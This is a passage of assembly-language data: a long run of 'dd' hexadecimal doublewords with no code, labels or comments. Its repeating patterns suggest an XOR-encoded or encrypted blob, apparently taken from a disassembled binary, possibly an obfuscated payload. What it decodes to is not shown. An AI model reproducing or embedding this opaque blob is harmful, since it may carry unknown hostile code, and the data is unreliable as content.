2AD2ECD7h dd 56D55E8Fh, 56FD3C3Dh, 0D67AB132h, 56BAB123h, 565DBDDBh dd 1ABD0032h, 34E4D4E0h, 1E8D7D4Fh, 36D5B166h, 59BA6580h dd 5675B1BAh, 56DBE832h, 0E3E5D132h, 30A68C4Ch, 96B360B3h dd 0D7CDD153h, 59B8B8FAh, 56EAB4B8h, 0D30A0B32h, 56DB9A77h dd 5FB4D132h, 37AEB132h, 0B2ADDBE1h, 0B2CE7C7Eh, 37DA66B2h dd 5F03B132h, 1C75B132h, 0D3617C20h, 0FEF0C44Ch, 0DDA1B132h dd 5657B13Eh, 0B512D752h, 3B1F30B2h, 378DC1DCh, 568CB132h dd 570AD132h, 565DBBDAh, 299E8032h, 0D3805511h, 9D13300h dd 36D5B153h, 36A268B2h, 5675B8DBh, 737A6E32h, 0ED4ED7A2h dd 37CF79F5h, 56A2B132h, 4542D132h, 0A6D5B132h, 41AFFCBDh dd 0CD5C22F4h, 0DA310EEBh, 1C7580DFh, 56CFC50Ch, 56574932h dd 56ABA3DBh, 357B8D32h, 46604490h, 0E90D7410h, 0FD975962h dd 56CD9CA5h, 0A825D132h, 5655323Dh, 37CBB132h, 59D5B153h dd 56EAB0B7h, 56754432h, 56BABEDBh, 0DD03C632h, 1F15FCCFh dd 0F11AA0B5h, 0EFE8B61Bh, 30B54D52h, 0E1E572B9h, 5614D0FBh dd 5730BE32h, 0AA5DB132h, 4647B132h, 8657B132h, 66FAE875h dd 0EA530F6Dh, 4D6AB75Ah, 56F6DA82h, 56B05832h, 3578B132h dd 855686D1h, 4AD4181h, 56ABB6DBh, 0C2070432h, 8AD5ED5h dd 0D87AB132h, 56BAB133h, 365DB1CEh, 0D76C0E3Dh, 773FA5D5h dd 56ABD000h, 56D5BADBh, 0A5D90332h, 0C9AD89FBh, 3C4F33BDh dd 565C303Dh, 565BB132h, 53DABE32h, 36ABB132h, 377165B2h dd 30780252h, 561477B9h, 5E534D32h, 0F85DB132h, 0ABB5DADAh dd 56C1F06Fh, 56A45832h, 0E69CB132h, 5A81AA9Bh, 53C02631h dd 0F031F855h, 0BF5DB1C1h, 56AEB13Ch, 3649D2F8h, 0F02C39A5h dd 0C6225405h, 56EA23CAh, 5663353Dh, 4753B132h, 4E5DB132h dd 0ED32CA2Bh, 20A104ECh, 16D89B51h, 937CD395h, 561FB132h dd 5AFDBE32h, 59BAB132h, 565DB7B5h, 5627BE32h, 0AF57B132h dd 5D42B132h, 5FD5B132h, 0D44B521h, 0D4FE84CDh, 56BA1C2Bh dd 565758C7h, 0B98AB132h, 9F79D2E8h, 75DFF31Fh, 503CB132h dd 0C6EAB132h, 0A1D28AD0h, 36BAB150h, 565C3E3Dh, 305BB132h dd 4FE058B3h, 0A3ABB153h, 583CB132h, 2BEAB132h, 0A8333883h dd 0A4C94DB4h, 988631F4h, 36AEB1FEh, 56525952h, 3871B132h dd 8FC2B08h, 56EA3F3Dh, 0BF14B132h, 56BAB139h, 0ACC74400h dd 0FAAD0286h, 3734450Bh, 0AAABB1C7h, 0D2DAB132h, 56EAB133h dd 0AA75B1CAh, 5642B132h, 56545832h, 16E0B132h, 9E1749Ah dd 56EC22D6h, 4A5EBE32h, 36EAB132h, 5675353Dh, 5953B132h dd 0CA5DB132h, 4DB0BD4Ah, 67BF5554h, 0F84CDC6Fh, 56B40966h dd 0DD8CD132h, 54FCBEE3h, 0E1BAB132h, 565DD018h, 56AEBADBh dd 7E619432h, 0B35254ABh, 4B66FF2Bh, 0AF8AB132h, 5675BCDBh dd 79AF3E32h, 0D15B08CDh, 0B3847476h, 5636C43Eh, 0AD14D132h dd 0EED96811h, 66044A5Eh, 0AE75B153h, 56AB5952h, 5BADB132h dd 826E99C5h, 16099B06h, 0F6498EAAh, 30CDBBA0h, 37B569B9h dd 3615B132h, 56BABADAh, 0A5427232h, 39A860C7h, 0C1CF994Dh dd 37733A6Ah, 314C548Dh, 56EAD05Ch, 5675B6DBh, 45C1E732h dd 5D344A4Ch, 0D9A1B132h, 5657B13Ah, 30713A52h, 37DCED8Bh dd 4203B132h, 4975B132h, 0B19DB3BDh, 0D0335FFAh, 486204DEh dd 0BC707E69h, 5647F3C7h, 56DC5832h, 36EFB132h, 0A81BA706h dd 56C9BFCCh, 565D4932h, 9811BE52h, 56403D3Dh, 4442B132h dd 1DD5B132h, 0FA69C5D0h, 4644148Bh, 4448F611h, 0A026F37h dd 56AED0E6h, 5650343Dh, 30CBB132h, 88786BB3h, 59EAB153h dd 5675B5BBh, 0DE8D132h, 0BF5DB153h, 56AEB134h, 0DFA3DE87h dd 0D7CB79F1h, 0F87D93C5h, 0DEE5E602h, 5675B132h, 56BAD06Ah dd 57D1BECAh, 0A3AEB132h, 0DA58B132h, 56ABB135h, 56D43B3Dh dd 5612B132h, 56665832h, 3581B132h, 0BA03AFABh, 8DAB20DFh dd 921921EFh, 0A004CEFEh, 36D5B1DAh, 0BB1AE589h, 37933B1Dh dd 56BAA5DBh, 1D59AF32h, 0D57E8619h, 0C2E4A65Ah, 2A3D4534h dd 22D53382h, 59EAB15Bh, 5675BDB7h, 5030BE32h, 595DB132h dd 56AEB1B7h, 0A357B132h, 56BA3A3Dh, 5A3CB132h, 23EAB132h dd 39879CEh, 0DEB29A1Ch, 56C3C95Ch, 0E9A1D132h, 0D19C30F8h dd 37E774D1h, 0D4DAB132h, 56EAB139h, 0A8FED752h, 56BA353Dh dd 563CB132h, 56BF5832h, 336FB132h, 7512B353h, 0CBDFE8CCh dd 0B4D01762h, 0AF4023BFh, 0DEB5B132h, 565DB133h, 56AE4DC7h dd 56475952h, 0AC66B132h, 0A962583Fh, 39EE0343h, 3F49E7FFh dd 0FE9B504h, 0B9DCE36Bh, 27F51B86h, 5FBED06Ch, 0A6ABB132h dd 6924B117h, 0AC60837h, 3015B132h, 4D6B66B3h, 0C18A3054h dd 5B47D05Ah, 0B557B132h, 4AF42FB8h, 467DB47Eh, 0A3F60782h dd 5C9CB132h, 0A7BAB132h, 0C6CDAED8h, 6D1EFAC9h, 3657B16Fh dd 0C7300E54h, 0ABFC0E54h, 0AFEAB153h, 3615B132h, 8594CE8Bh dd 3702E139h, 0B9D00F54h, 3657B153h, 7313D763h, 0BF82E9CCh dd 56EAB13Ah, 0A0988A12h, 0ECA5C56Ch, 565DD06Dh, 56AEA2DBh dd 0E99E32h, 40407E5Dh, 0FDC26119h, 656E4DE3h, 1EA66EAFh dd 5053B132h, 0FE5DB132h, 0BBBF962Eh, 3657B156h, 56A83D3Dh dd 0E1DAB132h, 56EAD0C3h, 5675A0DBh, 89D07732h, 0F543D574h dd 6D9B9E19h, 0B292CD2h, 56AB24F6h, 0DF6ED752h, 865DBE43h dd 0AA75B153h, 0D1B5B132h, 565DB133h, 9E24D1C7h, 5957B153h dd 56ABB4BFh, 0F83D132h, 56EAD0CEh, 58F4BE52h, 0BFBAB132h dd 565DB13Bh, 714F3F0Ch, 0E40FFFEEh, 0EE5B0B97h, 56B48F52h dd 0EE8CD132h, 0A6FEF567h, 0AABAB153h, 0E152D152h, 2A7F30C3h dd 374C5AACh, 0CA413060h, 0FA42899h, 59EAB153h, 5675B0B8h dd 56464932h, 565D4932h, 0BFAEB1CEh, 5657B13Bh, 45A9B2BBh dd 0A6105BE5h, 59EAB14Eh, 5675B0B6h, 51534D32h, 8F5DB132h dd 94A0EEF2h, 5657AB17h, 5D42D1CBh, 55D5B132h, 0C50809C3h dd 12147EF7h, 9D313C5Dh, 365DB153h, 34AD0952h, 0DD31ACE5h dd 3757D0F8h, 5620B132h, 576CBE32h, 0AE75B132h, 56B65852h dd 0DC6BB132h, 0DEFE2E21h, 0D467CFF4h, 30FCF6B2h, 0AFB271B3h dd 56EAD06Ah, 56743A3Dh, 564FB132h, 4BD7BE32h, 59AEB132h dd 5657A6BEh, 56B95832h, 9B65B132h, 0FCCDBEB3h, 0F634CEACh dd 0E4392389h, 818B889Ch, 36CEB132h, 0F4853054h, 5629BE4Ch dd 37D5B132h, 0BFEAB153h, 5675B121h, 0AA15D474h, 0A29D39F8h dd 0ABE5D7CAh, 62A162BFh, 5637AA6Eh, 4758BE32h, 0BFEAB132h dd 5675B13Eh, 0F1F88FC2h, 67787266h, 0BD45A3A2h, 3637B132h dd 47424AB9h, 0C0D5B132h, 0F7F5F096h, 830604AFh, 0A945F497h dd 885DFDFBh, 56AED053h, 565F5952h, 6314B132h, 9014AB79h dd 5D039127h, 6475B132h, 0ADAD5107h, 0D9DA76E2h, 30F12948h dd 563641B9h, 56A25832h, 8C5DB132h, 4AB7F784h, 567A19F8h dd 56BA4432h, 56593D3Dh, 36CEB132h, 46BED053h, 0C1ABB132h dd 9111E4Fh, 9D0D31D0h, 0AB4D258Fh, 56C7795Eh, 5ED0BE32h dd 59AEB132h, 5657B3B8h, 0BFCAD132h, 56D5B139h, 0DC002B37h dd 61B5F0ADh, 568A247Dh, 58B4D132h, 0A2AEB132h, 82750891h dd 287533DCh, 3FEC5A2Ah, 56FA585Bh, 17C0B132h, 8AD7C18Ch dd 0BA34933Eh, 0CC24C654h, 5636B6ABh, 56B95832h, 0EABAB132h dd 0FC11B091h, 626F4518h, 459251F2h, 0E779F607h, 5657B132h dd 5DDBBE32h, 0BFABB132h, 56D5B134h, 0B194D6E6h, 5680F61Bh dd 913AD132h, 565358F7h, 7203B132h, 1747CED5h, 10AE7BE1h dd 3340A350h, 0BFEAB153h dd 5675B13Ch, 0E3AD2BA2h, 35CD19B7h, 3F10496Eh, 5657DF42h dd 0A3ABB1CAh, 0D9DAB132h, 56EAB127h, 5675A1DBh, 138D3732h dd 0DAE13BFBh, 1E2016FEh, 0EFBC29BEh, 0BFABB128h, 56D5B137h dd 0CDF2FFAEh, 5975B1ACh, 56BAA8B7h, 56495832h, 0D7EBB132h dd 27CBB65h, 401E4F55h, 0B6297C3Fh, 67B06B66h, 5675F40Dh dd 56BAB4DBh, 915E8D32h, 0CECCF2h, 590EE961h, 56ABB7B8h dd 565CBE32h, 37EAB132h, 0DE7AB132h, 56BAB133h, 0AF5DB1CAh dd 56AB5852h, 7375B132h, 3008DE08h, 0D6F152B3h, 59EAB153h dd 5675B6B3h, 573DBE32h, 0AA5DB132h, 5B47B132h, 9B57B132h dd 0C67807Bh, 0FF0AA01h, 0AA56EBD5h, 5D9CB132h, 0C9BAB132h dd 9B02647Fh, 23B7CB74h, 5657125Ch, 37CBE652h, 0BEB5D06Bh dd 56EAB120h, 5D3D1287h, 31E6BD4h, 6CC5E42Dh, 59036356h dd 0D731D4C1h, 8957FDCh, 30B4D152h, 0DA9B42B3h, 5675D053h dd 56AC3F3Dh, 47B4B132h, 61AEB132h, 0A08E81C9h, 0D394C0D0h dd 0B0765AD8h, 1933FA10h, 568DB132h, 56B15832h, 0E7CDB132h dd 3FE4B4F4h, 77F4AD36h, 36ABB15Dh, 30A17CB2h, 0BF8B6FB9h dd 5675B123h, 0CBEE1821h, 0E567A078h, 844B49FBh, 13F815D6h dd 59ABB183h, 56D5B0BBh, 0DEE54832h, 5675B120h, 56B25852h dd 6F52B132h, 0D082EA77h, 0E15837B0h, 56ABD0EBh, 56D4323Dh dd 0BF1FB132h, 5675B121h, 0E3F068FEh, 0F49FFC88h, 0FB52F96Ch dd 7824C93Bh, 566442ABh, 56DD5832h, 6849B132h, 6D5C4221h dd 56BA0C56h, 567D3B3Dh, 0BFCEB132h, 5657B126h, 265519E1h dd 0D359721Fh, 29AEC0EBh, 0ED5A20A5h, 6A96A851h, 0BEBE3054h dd 56AED0AFh, 0AEE34852h, 56AB4D53h, 56D5BFDBh, 3515832h dd 7E51515Eh, 2D1D5EF5h, 5688A520h, 56BC5832h, 5C65B132h dd 2CE0E48Ah, 861261Eh, 73185118h, 7F1F11B8h, 0E2DAB132h dd 85EABE8Ah, 59AEB153h, 5657B0B0h, 0DEA44832h, 56D5B135h dd 56EB3A3Dh, 568DB132h, 56B65832h, 2C6BB132h, 0E9D4A55Bh dd 0D8355B10h, 5B42FDAFh, 25D5B132h, 1A88812Ch, 0D16FC821h dd 0CBC0B39Ah, 56A1B132h, 56A95832h, 0D06B132h, 0A7E3886Ah dd 36D5B1C5h, 56EAB7DBh, 65B68B32h, 0A3D6CD20h, 0AE5DB153h dd 0DAA1B132h, 5657B13Bh, 0F54D0F52h, 885F9E5h, 56EA4853h dd 50F5BE52h, 0D7BAB132h, 0BCC6F7DCh, 0AD19BE4Eh, 0BF57B153h dd 56ABB13Ch, 0E09DF958h, 0F96EC9D6h, 0D3022697h, 56BA4CA0h dd 565DB7DBh, 52972D32h, 565282DEh, 0D7CDD132h, 36D4DEF4h dd 56EA3E3Dh, 3714B132h, 4253B132h, 55DB132h, 359F6709h dd 0D16437BDh, 60F15099h, 9273F385h, 56D5D7D6h, 56735832h dd 7604B132h, 82AFF87Eh, 4647B132h, 6757B132h, 8C1BE1Ch dd 5B418132h, 7F8CC7E1h, 56317A22h, 56A95832h, 5708B132h dd 3C0DFE87h, 0E1078518h, 51AC9C9Eh, 32AE30B3h, 0AEEAB1CFh dd 0D67AB132h, 56BAB135h, 565C3F3Dh, 3652B132h, 5657B9DBh dd 8C0CD932h, 7C53B519h, 255DD18Ah, 37146FB9h, 5642B132h dd 56585832h, 0B62CB132h, 567F36A8h, 5923BE32h, 36D5B132h dd 0BF333A54h, 5675B137h, 0E07CA15Ch, 565DD0E8h, 56A2373Dh dd 0DC58B132h, 56ABB134h, 56D53F3Dh, 56EAB132h, 5675B4DBh dd 6A8AC932h, 565D6211h, 56AF373Dh, 56AFB132h, 56AB4932h dd 56D5B6DBh, 6CB94132h, 1E3FEBBFh, 5642B132h, 5DD2BE32h dd 36AEB132h, 79B73054h, 6311D715h, 56D5D069h, 56ED353Dh dd 0DA7AB132h, 56BAB133h, 0BF5DB1CEh, 56AEB13Bh, 0DFB33C46h dd 55B18C61h, 36D5B137h, 0D9E560B8h, 5675B132h, 59BAB153h dd 565DA6BBh, 472BBE32h, 0BF57B132h, 56ABB13Eh, 1FA7546Ah dd 2635359Ah, 2A8A7D76h, 564FB132h, 564D5832h, 1DB8B132h dd 0BF5A4BFFh, 0E4DA4E85h, 18DE36h, 56EAD80Eh, 0BF75B1CAh dd 56BAB120h, 0BD22995Eh, 955D5C14h, 4A86FA88h, 0DD472DCCh dd 56D56C29h, 56EABBDBh, 4C77B932h, 0A38A36C0h, 565D27A2h dd 56BE5832h, 0C968B132h, 6E748DDEh, 30374CACh, 0B21CB22Fh dd 56752E8Ah, 0AFBAB1CBh, 0BF3DB132h, 56AEB135h, 0ACF6C3BFh dd 0BE9F255Bh, 56D5B13Eh, 67CF7266h, 0BD9EA3A2h, 28716370h dd 37050586h, 0D6CEB132h, 0B5D632E7h, 0A4BBE5Ah, 59D5B153h dd 56EAA4B0h, 5A9CD132h, 34BAB132h, 4C22A0BBh, 0A89862FFh dd 74618C4h, 5CBD068h, 56173054h, 0D78CEE60h, 37897DD9h dd 0BEDAB132h, 565DB13Ah, 0A43EE00Bh, 3D353847h, 28400954h dd 37063A6Ch, 59EAB1CEh, 5675BDB7h, 503BBE32h, 595DB132h dd 56AEB1B4h, 5957B132h, 56ABA2BDh, 5B57BE32h, 0BFEAB132h dd 5675B13Ah, 2690BFC5h, 7AAA108Bh, 5D47B132h, 5D57B132h dd 0DB271AF6h, 37F4AC3Eh, 0A38A3A14h, 56146FB8h, 0BF46D132h dd 565DB134h, 8666D894h, 56362098h, 0DF1ED132h, 56D7383Dh dd 0AE61B132h, 96F4D153h, 1281D9FFh, 1BCE6D8Ah, 56AED037h dd 5657B7DBh, 51C2EE32h, 56F81131h, 56164832h, 59FABE32h dd 0BFBAB132h, 565DB138h, 4FC6D4CBh, 5C6959D9h, 56AB206Eh dd 56D5BDDBh, 0ACC59B32h, 166C0EC5h, 0E6DF20FFh, 365DB187h dd 5622BE52h, 0DD57B132h, 0D4A4D0C3h, 56D5B130h, 568B6484h dd 0BF154D32h, 56BAB123h, 0E7AABDCDh, 0FCF52AB1h, 53FEEB8h dd 0C4FA3AA0h, 716ED7E3h, 56EAD07Fh, 567548CBh, 56B2353Dh dd 0D452B132h, 56AEB130h, 0D058D052h, 56ABB133h, 0AED5B1CEh dd 0AF8AB132h, 5677333Dh, 37DAB132h, 590AD153h, 56AEB1BAh dd 0B0D7EA32h, 56ABD034h, 56D23B3Dh, 0DCE5B132h, 5675B133h dd 36BAB1C7h, 56D7BE65h, 8AEB132h, 0DD1A0B54h, 36ABB153h dd 0B644C98Ah, 56EAD030h, 56735852h, 0DE68B132h, 0C6DB6BCAh dd 56AC3A3Dh, 3737B132h, 0BFABB153h, 56D5B13Ch, 17A609D9h dd 7815CE45h, 0F0C79D7Ah, 565D3FBFh, 56A03E3Dh, 5FBEB132h dd 0BBABB132h, 528C01ABh, 7195A5BEh, 615B132h, 0B83BD769h dd 563C4A27h, 0DCCE4832h, 0AB9D31D4h, 0AAABB153h, 56DF373Dh dd 58AB132h, 4B873069h, 37D25804h, 36A5B132h, 0BE690E3Dh dd 5657B122h, 952065A7h, 55174560h, 188D951Fh, 74C48583h dd 56BAD06Bh, 53D9BECAh, 36AEB132h, 37A4063Dh, 59CBB132h dd 86547E8Dh, 6E964961h, 3675B153h, 4553D153h, 245DB132h dd 0E70D5D66h, 93C0DC5h, 3E68D8B1h, 0DC3EA65h, 580399F5h dd 0AE75B132h, 692D4CB7h, 64381A19h, 0E6206E10h, 5657D096h dd 56ABBCDBh, 0D0B89332h, 0FEB2C513h, 97CC61BFh, 0D1B5C1D9h dd 565DB13Eh, 13B70B52h, 0D73195BAh, 37F284FDh, 0D1DAB132h dd 56EAB121h, 5675BFDBh, 0E8A8E432h, 0CA2826F1h, 0E7D0189Fh dd 36A98E76h, 5E5B3054h, 56B449D9h, 516EBE32h, 5975B132h dd 56BAB0B3h, 56A54D32h, 375BD132h, 0CAE9D752h, 9114BEADh dd 59D5B153h, 56EAB0B0h, 0D6154932h, 5F53C7F3h, 895DB132h dd 8100F962h, 0CBDF9CEDh, 36ABB153h, 30B561B8h, 8C6170B9h dd 5675D053h, 56BAB8DBh, 0CFAC4332h, 0EA673E9Eh, 0D7580247h dd 56ABB139h, 9C5ED752h, 56EA3B3Dh, 5614B132h, 56BA4932h dd 0A35DB1C7h, 5F47B132h, 3957B132h, 32C9291Fh, 0F5CD7788h dd 4703B132h, 4F75B132h, 0E67025C5h, 9620BF12h, 0D26012A1h dd 8012B307h, 56AC343Dh, 0DFDAB132h, 56EAB133h, 0AF75B1CAh dd 0D6B5B132h, 565DB135h, 6F10D752h, 0BF364D8Ah, 56ABB134h dd 66B6B544h, 56EAAC43h dd 0BF75B1C7h, 56BAB13Eh, 4951364Ch, 0C0BA54B0h, 0F07F4C6Eh dd 30CBB132h, 0F74351B3h, 56EAA5DBh, 4F245132h, 583E98A0h dd 0D39E45EBh, 41BA7564h, 5708488Dh, 56ABD0ADh, 56D5BFDBh dd 45A77432h, 0A8C1BFAh, 53CEBD1Ch, 56C97AF2h, 56AE4932h dd 5657BEDBh, 9E9FB332h, 4C300187h, 0C5D71329h, 85E15F3Ch dd 5C53B132h, 5D5DB132h, 9C65DF9Fh, 53B3083Fh, 0BFABB1C2h dd 56D5B121h, 0D667E90Dh, 91EECEAAh, 0F06E8BDAh, 27854B84h dd 56EE5C07h, 56505832h, 0FE0B132h, 686F5D2Fh, 0BFEAB1D6h dd 5675B13Ah, 0AA98A0B0h, 16FA8FFDh, 5652B132h, 565E5832h dd 0C8D7B132h, 0AC3EF2ABh, 56D73D89h, 0DC6D132h, 56BAA1DBh dd 0D6F0532h, 83E4C851h, 38019E84h, 0B169810Ch, 56D5D0CFh dd 56EAB7DBh, 9E2C2D32h, 59438992h, 565DB9BEh, 5428BE32h dd 3657B132h, 0AAABB153h, 0BFB5B132h, 56EAB13Dh, 5D9B3E09h dd 888F892Eh, 0EDF87ABDh, 0DDFD2613h, 0DB58D0CCh, 56ABB139h dd 56D5B7DBh, 5BD06232h, 56492F9Bh, 56434832h, 0D052D132h dd 56AEB130h, 0ED3150B8h, 59CA3114h, 56D5BCB9h, 56E25832h dd 32E5B132h, 0D8800B82h, 565D3197h, 56AEBADBh, 7507F132h dd 89F2DC35h, 0B29694Dh, 0D6E5B132h, 5675B136h, 37E4E652h dd 0AAA4B132h, 0BFCEB132h, 5657B13Eh, 8F736303h, 60B693FCh dd 5B52237Ch, 5975B153h, 56BAB0B5h, 565D4932h, 56AEB9DBh dd 0E820FB32h, 3A6D275Ch, 59D5B119h, 56EAB0B5h, 56754D32h dd 46703052h, 30046EDEh, 36CF6BB9h, 565B313Dh, 0D2A4B132h dd 56D5B134h, 56EA3A3Dh, 569DB132h, 0CBAB132h, 0F9AE5BB3h dd 5A47B703h, 0E457B132h, 21D5C6B8h, 0B0AC76A0h, 3678981Ah dd 123EEB8Ah, 8EBE03Ah, 58B4D068h, 0BBAEB132h, 8AF3329Eh dd 0B9F04F27h, 0C3501159h, 6F3C8Ch, 0BF73819Fh, 56BAB135h dd 0F11C2D5Bh, 0DF20E39Fh, 67C089B0h, 3752D134h, 191B33BFh dd 4203B700h, 3E75B132h, 7715B1B1h, 0BDC851F1h, 0CF2CBAF6h dd 5073F7ADh, 59D1C236h, 56D5BDBAh, 56ED5832h, 0A09B132h dd 74145CF1h, 5DF38B1h, 36A880A5h, 5EBF45B8h, 0EAABB132h dd 0B77D8D35h, 7FE318Bh, 0BE14E86Dh, 56BA8584h, 56493E3Dh dd 5947B132h, 0F557B132h, 0FFA15C35h, 8204E2CFh, 0EB33DA5h dd 0C29DE8E5h, 36BAB130h, 259A60B3h, 0DDC8CC69h, 0D490D0EBh dd 509A279Dh, 56D5B132h, 56EABCDBh, 2867A432h, 78F331D6h dd 85045825h, 0A3FC7230h, 657A34F4h, 59FDB719h, 56D5BDB1h dd 506CBE32h, 5975B132h, 56BAB1BEh, 0EE0FD932h, 0A9522D9Ah dd 7D4C6C87h, 0D3264834h, 50FB32D9h, 0DFE5D152h, 5675B132h dd 56BAA0DBh, 0C8D2DA32h, 0E4F87AB8h, 0D1807751h, 9123E62Dh dd 59B40BBDh, 56EAB3BCh, 372AE032h, 36DA61CDh, 2EDF0A54h dd 56AEA5DBh, 6769E032h, 469898E9h, 8D027B27h, 740ACB75h dd 80B4BBC7h, 0BEDAD05Dh, 565DB13Dh, 93A8A6B7h, 0A7300CF6h dd 3B2A8AC6h, 0FD9A311h, 378B70B9h, 711434BBh, 5D53B719h dd 525DB132h, 77BE2EE1h, 0F9D1F2ECh, 52C117E5h, 56BD44CAh dd 0BFEAB122h, 5675B13Eh, 0EC0FE24h, 24FCCB0Ch, 6670AFFh dd 555AF15Ah, 56A75832h, 20E6B132h, 0F5AC95B4h, 0C821A5A1h dd 56D03453h, 565DB8DBh, 7DB30F32h, 11218363h, 865496DDh dd 56D5A1DBh, 0F473FE32h, 0B3E6B3B1h, 1F2D1629h, 569EB0E9h dd 4647EBDDh, 0F657B132h, 1484D397h, 270991DCh, 32F64623h dd 5DA145BEh, 6C3EBEF2h, 0BF5DB133h, 56AEB13Bh, 336097D7h dd 0EEF0C0F4h, 0F95738EEh, 0BFEC80A4h, 5675B13Ah, 557F3ECAh dd 0E79E312Ch, 0C04433BBh, 0EFA2B703h, 56A8BC72h, 56D5BADBh dd 3D53CB32h, 2834C408h, 5257002Bh, 303D49B9h, 0D7C84FB9h dd 37C2D4D5h, 46427101h, 17D5B132h, 0F7EC0A16h, 7170C4F4h dd 0FAB49092h, 0A55A4D28h, 0B216D198h, 0ED4A6655h, 2F611877h dd 0D7B5E353h, 746865E0h, 521FD012h, 8F6A3152h, 565B323Dh dd 0DEA1B132h, 5657B132h, 46ABD953h, 423CB132h, 1CEAB132h dd 0C41FEA69h, 3CB9402Eh, 522DAEB8h, 1BD3307h, 3EFCAFEEh dd 56ABB532h, 0BFD5DBCEh, 56EAB13Ah, 85FF4703h, 2121BEF7h dd 45B4D152h, 0A7AEB132h, 36D734AFh, 0CE0CB7EBh, 0C6F72CCEh dd 35FF6A8Fh, 469C7DE1h, 9FBAB132h, 6B2B3952h, 41C33C2Dh dd 7F0F9A6Ch, 3779ABD0h, 56D5B4DBh, 0F1BB5732h, 0A914B70Fh dd 7D9DD0A0h, 40DABE34h, 0BFAEB132h, 5657B123h, 6547B50Bh dd 39B8A437h, 4613C7EEh, 0C2484C09h, 5153EB8Ah, 6E5DB132h dd 52389DF9h, 0D4DE7E31h, 509A2B27h, 56D5B9DBh, 0A9221F32h dd 510032Ah, 0DD42D06Bh, 67CB1EB7h, 0BF6D4D34h, 5657B135h dd 164DD053h, 36FEA3E2h, 56EAB8DBh, 0A5CC0332h, 0A7CDC2DDh dd 0D49AB256h, 5085BA3Bh, 5617B132h, 56ABBADBh, 327F6432h dd 0CBFCF470h, 0D513B136h, 768F33F5h, 465DB719h, 36CEB132h dd 0E931D052h, 0D7CA0B62h, 0A195E1E5h, 368BD078h, 77A00B54h dd 364F7253h, 5679343Dh, 0BFCEB132h, 5657B137h, 6088C08Ch dd 56C7593Ch, 3521B132h, 0F80F0CDBh, 2A38A583h, 2430E74Eh dd 6A06C73h, 0ECDCD06Ah, 509A279Dh, 0A154D752h, 598A0345h dd 5675B1B4h, 56B65832h, 0D95FB132h, 50523AFDh, 7300E39Eh dd 37CA712Fh, 56D5BFDBh, 0B829B632h, 508E2C05h, 0CA319ED3h dd 0D55C3CD9h, 0D2A1B10Dh, 5657B19Eh, 46D432CBh, 0C51BE30h dd 59EAB132h, 5675A4BCh, 5932BE32h, 0BF5DB132h, 56AEB138h dd 4499387Bh, 5958E8FBh, 0BFB5386Bh, 56EAB135h, 0AB2830B9h dd 3099D6CDh, 550E78B3h, 46D13253h, 16D3BE36h, 0A3ABB132h dd 0BFC176B1h, 56EAB134h, 79B7994Bh, 0F653F890h, 59A24ECDh dd 56AEB9B7h, 54D2BE32h, 36ABB132h, 46927653h, 56EAB133h dd 5675BDDBh, 28EDA432h, 1D135065h, 45E8A97h, 0A99558A1h dd 91534ECDh, 56D6A175h, 0DC8AB132h, 218630F4h, 37890BB9h dd 565DBCDBh, 0A50C9832h, 1AFBF99Ch, 65FA6B07h, 0CF3C106Ah dd 0A3154ECDh, 0EF13D153h, 3742A046h, 565A58F1h, 513AB132h dd 0F2A26DB6h, 5724BE6Ch, 0AED5B132h, 0BA614867h, 5675BFDBh dd 63ADAB32h, 6EED8381h, 28FD45DBh, 0BF1B2209h, 56ABB137h dd 573C1EAAh, 0DDE5D1F3h, 5675B12Ch, 56A23A3Dh, 45B4B132h dd 1AAEB132h, 0D1F9893Dh, 2A3E824Eh, 45B6648Bh, 0BC9C4EB4h dd 569D3D4Ch, 0CBAB132h, 0E34E5BB3h, 0BF57B703h, 5657B121h dd 9829E9Dh, 55E1CA83h, 0FFA560Dh, 5A267396h, 0DD0CACD9h dd 67C78580h, 5347D134h, 0CF57B132h, 886806BFh, 5E903A53h dd 0E98C4852h, 0DF14F39Ah, 0D4394D34h, 506C2B06h, 56A35836h dd 0D4AEB132h, 0C55B531Dh, 68720DE1h, 3709F1FDh, 948D78CBh dd 0A3DAB136h, 0BDB840B3h, 36CFC801h, 5657A1DBh, 24363D32h dd 0B708C323h, 161D2466h, 61262AC9h, 56BA595Ah, 0D707B132h dd 671B27D8h, 5ABE4434h, 4EABB132h, 8FF3BEA8h, 119F89EEh dd 0DD1A4AD6h, 6720A480h, 57D6BE34h, 0A3AEB132h, 0CC630309h dd 0D2A4B703h, 56D5B0E7h, 56E4323Dh, 5F9CB132h, 20BAB132h dd 1407E4C3h, 0DB0AA399h, 59378FB9h, 56ABA4B3h, 56C55832h dd 956DB132h, 426DB05Ch, 7B5B6529h, 0E022AC18h, 0D7A1BF23h dd 5657B12Bh, 56ABA5DBh, 0D73C9E32h, 9B22ED21h, 8B52E93Bh dd 0DD2A7136h, 1A8E526Dh, 8925D020h, 564C3C3Dh, 0DCA4B132h dd 56D5B127h, 56EAA1DBh dd 3E77E732h, 5E5D562Eh, 519AE116h, 9F1418F3h, 19E1BE03h dd 0D0A4D133h, 56D5B126h, 56EABFDAh, 5505C532h, 294E2429h dd 5949ADF5h, 0C632542h, 11A1D0CBh, 0D3A43133h, 56D5B16Fh dd 56E4323Dh, 5F9CB132h, 0AEBAB132h, 139D8E74h, 6C3C015Eh dd 0D1586831h, 56ABB128h, 56C65852h, 47ABB132h, 0C87AB3D5h dd 54B60D38h, 87A514C4h, 0F093B6C1h, 78BED0FFh, 0BFABB132h dd 56D5B134h, 401325CEh, 449C1DEBh, 84BAB132h, 0FCF14F9Eh dd 64C3A7E7h, 0EBB63588h, 5710E90h, 0AA0C9AF6h, 8C53D752h dd 189731F1h, 0DDB5F253h, 565DB13Eh, 0B42FD752h, 0D7310410h dd 370E0BE4h, 8554D171h, 39E94B72h, 5675BFDAh, 72C63B32h dd 854D30A6h, 46715559h, 306620D3h, 0CF6E63B3h, 0DDB5D06Ch dd 56EC58EDh, 0FA57B132h, 43D055Ch, 73D83A53h, 59A89A02h dd 5657B6BEh, 4E11D132h, 37E8223Eh, 780F3CB9h, 6D8CB719h dd 6438BEEAh, 0AE5DB132h, 0D1A16809h, 5657B11Bh, 56ABA0DBh dd 6D757032h, 0A305B45Fh, 0EA49EA87h, 9ECDF4Ch, 90DE3EF6h dd 0B474D36h, 0BFA84ECCh, 56ABB137h, 5E6A517Fh, 59258A5Eh dd 56759DB6h, 4239BE32h, 595DB132h, 56AEBFBDh, 565E5832h dd 0E053B132h, 2C0323E6h, 0DF8F7E3Bh, 7D5B548Fh, 4E534434h dd 36A24ECCh, 291CC783h, 0BF37D053h, 56ABB135h, 0DA7F7CC9h dd 59269AF0h, 95147A8Dh, 56B63C3Dh, 0D952B132h, 56AEB134h dd 5657323Dh, 